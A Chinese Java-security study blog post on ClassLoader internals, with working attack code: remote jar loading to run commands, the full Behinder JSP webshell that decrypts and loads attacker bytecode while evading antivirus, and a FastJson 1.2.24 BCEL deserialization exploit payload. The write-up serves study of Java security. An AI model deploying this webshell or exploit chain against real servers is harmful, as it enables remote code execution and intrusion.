Java基础:再谈ClassLoader

文章发布时间:

最后更新时间:

文章总字数:
3.5k

预计阅读时间:
14 分钟

Java基础:再谈ClassLoader

前言

本系列是看https://javasec.org网站文章的心得和笔记,部分摘抄原文,不知道能不能坚持把文章看完呢…不过如果看完了,代码也跟着敲一遍,一定可以成为javasec高手(笑)。

Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的native方法(defineClass0/1/2)来定义一个java.lang.Class实例。

Java类

Java是编译型语言,我们编写的.java后缀的文件并不能直接运行,需要先编译成.class后缀的文件才能被JVM运行,JVM从.class文件中读出二进制字节码,再使用classLoader加载。

先使用javac命令编译文件,将.java转化为.class,为了了解到java类文件的具体内容,我们可以使用javap来反汇编java类文件,即将原本类文件中的字节码显示为可读文本:

image-20230831151124685

ClassLoader

一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。

在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)Extension ClassLoader(扩展类加载器)App ClassLoader(系统类加载器)AppClassLoader是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader加载类。

ClassLoader类有如下核心方法:

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

ClassLoader类加载流程

ClassLoader加载TestHelloWorldloadClass重要流程如下:

  1. ClassLoader会调用public Class<?> loadClass(String name)方法加载TestHelloWorld类。

  2. 调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。

  3. 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载(双亲委派机制)。

    image-20230831152903446

  4. 如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。

  5. 如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。

  6. 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。

  7. 返回一个被JVM加载后的java.lang.Class类对象。

自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,我们也可以自己写一个类加载器来实现加载自定义的字节码(这里以加载TestHelloWorld类为例),并调用hello方法。其实自写也只是重载了几个函数,并不是全部功能重新实现一遍。

当这个TestHelloWorld存在于本地时,我们可以直接创建对象并调用hello方法,但是现在我们只有字节码,于是可以通过自定义类加载器来重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类,最后通过反射机制即可调用hello方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.test.classloader;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.lang.reflect.Method;

public class MyClassLoader extends ClassLoader{ //继承自ClassLoader
private static String classname = "com.test.classloader.TestHelloWorld";
public byte[] getBytes(String filepath){//先写个用来获取.class字节码的函数
byte[] buffer = null;
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return buffer;
}
public Class<?> findClass(String name) throws ClassNotFoundException{
byte[] buffer = getBytes("TestHelloWorld.class");
if(name.equals(classname)){
return defineClass(classname,buffer,0,buffer.length);
}//直接使用字节码在JVM中注册这个类
return super.findClass(name);
}
public static void main(String[] args) throws Exception{
MyClassLoader loader = new MyClassLoader();
Class testClass = loader.loadClass(classname);
Object testInstance = testClass.newInstance();//通过反射调用方法
Method method = testInstance.getClass().getMethod("hello");
String str = (String)method.invoke(testInstance);
System.out.println(str);
}
}

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象。这里使用的是通过字节码来注册类,下面演示使用URLClassLoader获取远程类。

URLClassLoader

URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

首先我们可以先打包一个jar包,流程是先写一个用于命令执行的CMD.class,里面有一个exec方法,等一下远程加载之后可以通过反射调用:

1
2
3
4
5
6
7
8
9
10
import java.io.IOException;


public class CMD {

public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}

}

然后javac命令编译成.class文件,jar cvf CMD.jar CMD.class打包成jar包,最后python起一个本地http服务。

image-20230831170636561

打包完之后可以写通过URLClassLoader来远程加载这个jar包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.test.classloader;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
public class TestUrlClassLoader {
public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("http://127.0.0.1:9000/CMD.jar");

// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});

// 定义需要执行的系统命令
String cmd = "calc";

// 通过URLClassLoader加载远程jar包中的CMD类
Class<?> cmdClass = ucl.loadClass("CMD");

// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}

JSP自定义类加载后门

以冰蝎为首的JSP后门(说是jsp后门是因为这是个jsp文件,其实里面都是加个标签然后写java代码)利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals方法实现恶意攻击。

使用字节码并且加密,基本不可能被杀软查到,如果使用明文exec的话肯定被杀掉,学习学习冰蝎的JSP后门是怎么写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {

U(ClassLoader c) {
super(c);
}

public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
/*可以看出冰蝎的这个自定义类加载器和我们之前自己写的那个自定义加载器原理一样,都是通过字节码来在JVM中注册类,但是我们那个是通过loadClass正常流程重写了findClass,而这里是直接写了个新方法进行调用*/
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);//先getClassLoader,再调用g方法注册类,字节码来自传输后解密,然后创建对象并调用恶意方法equals
}
%>

BCEL ClassLoader

BCEL简介与攻击展示

BCEL是一个用于分析、创建和操纵Java类文件的工具库,BCEL的类加载器在解析类名时会对ClassName中有$$BCEL$$标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。

BCEL的类加载器在rt.jar/com/sun/org/apache/bcel/internal/util/包下(JDK<8u251),可以实现加载字节码并初始化一个类的功能,该类也继承了原生的Classloader类,但是重写了loadClass()方法,看看关键部分代码:

image-20230831191822406

可以看到首先会判断类名是否以$$BCEL$$开头,之后调用createClass()方法拿到一个JavaClass对象最终通过defineClass()加载字节码还原类。

可以写一个demo打断点来调试,看看具体发生了什么。

先写一个恶意类用来执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.test.classloader;

import java.io.IOException;

public class calc {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

写BCELDemo,同时也生成了code的payload(其实就只是把字节码进行了utility.encode),加上$$BCEL$$即可打远程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.test.classloader;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
//注意这里导入的都是BCEL的包

public class BCELDemo {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(calc.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}

本地测试成功,打上断点开始调试

image-20230831192600276

BCEL攻击流程

直接进入到classLoader的关键代码处,可以看到这里判断是否为$$BCEL$$开头,然后调用createClass

image-20230831193736041

跟进createClass:

image-20230831193901142

这里就可以看出来为什么我们要使用Utility.encode来加密字节码,因为createClass里面通过decode来获得bytes数组,跟进代码,可以发现在createClass里面就已经获得了我们恶意类。

image-20230831195035672

从createClass出来后通过获得的恶意类再重新获得字节码,注册到JVM中,完成loadClass。从classLoader出去之后就进行newInstance,静态恶意代码得以执行。

总结:流程非常简单,加密字节码,BCEL再解密获取类,下面看看如何在实战中应用BCEL ClassLoader对Java web应用进行攻击。

BCEL FastJson攻击链分析

之前复现了FastJson的攻击链,有一种方法是JNDI注入,但是JNDI是远程类加载,如果机器无出网就没办法使用这个方法,只能动态加载恶意代码。

另一条链TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启Feature.SupportNonPublicField(因为需要通过json修改private变量),并且实际应用中其实不多见。所以我们可以采用另外一种攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,tomcat在实际攻击中还算是比较常见的。

搭个环境分析一下,下面是poc代码:

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
1
2
3
4
5
6
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes("calc.class");
String code = Utility.encode(bytes, true);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}

BCEL攻击流程在上文已经分析过了,这里不做赘述,这里主要讨论的问题是如何将BCEL和FastJson结合起来,关键是通过FastJson解析自动调用BCEL的classLoader,我们需要结合tomcat.dbcp.dpcp2里的BasicDataSource类,关键方法是getConnection,反序列化的时候会自动调用。

image-20230831203702901

返回时调用了createDataSource:

image-20230831204013034

跟进createConnectionFactory方法:

image-20230831204132398

可以看到这里的关键调用forName方法,具体逻辑是使用这个ClassLoader并传入这个driverClassName,那我们只需要通过json字符串来赋值成我们需要的BCEL的ClassLoader,driverClassName传入加密了的字节码即可完成攻击。payload如下:

1
2
3
4
5
6
7
8
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}

Xalan ClassLoader

Xalan和BCEL一样都经常被用于编写反序列化Payload,Xalan最大的特点是可以传入类字节码并初始化(需要调用getOutputProperties方法),从而实现RCE,比如Fastjson和Jackson会使用反射调用getter/setter成员变量映射的方式实现JSON反序列化。

事实上,在上一篇文章中已经非常完整地分析过了这个ClassLoader怎么利用,其实就是利用TemplatesImpl类来动态加载字节码。

但是我们在上面也说了,这种方法其实局限性很大,远不如BCEL泛用。TemplatesImpl中有一个_bytecodes成员变量,用于存储类字节码,通过JSON反序列化的方式可以修改该变量值,但因为该成员变量没有可映射的get/set方法,所以需要修改JSON库的虚拟化配置,比如Fastjson解析时必须启用Feature.SupportNonPublicField、Jackson必须开启JacksonPolymorphicDeserialization(调用mapper.enableDefaultTyping()),所以利用条件相对较高。

Xalan FastJson攻击链分析

详见上一篇文章,FastJson全系漏洞研究中的TemplatesImpl攻击链分析。

ClassLoader总结

ClassLoader是JVM中一个非常重要的组成部分,也是我们研究java安全很重要的一个方面,ClassLoader可以为我们加载任意的java类,通过自定义ClassLoader更能够实现自定义类加载行为,在后面的几个章节我们也将继续分析ClassLoader的实际利用场景

本次再探ClassLoader,分析了JVM加载原理与ClassLoader加载流程,自定义了ClassLoader,研究了冰蝎jsp后门以及两个危险的自写的ClassLoader分析,以及实际环境中的利用链,可以说这次研究的是比较全面了。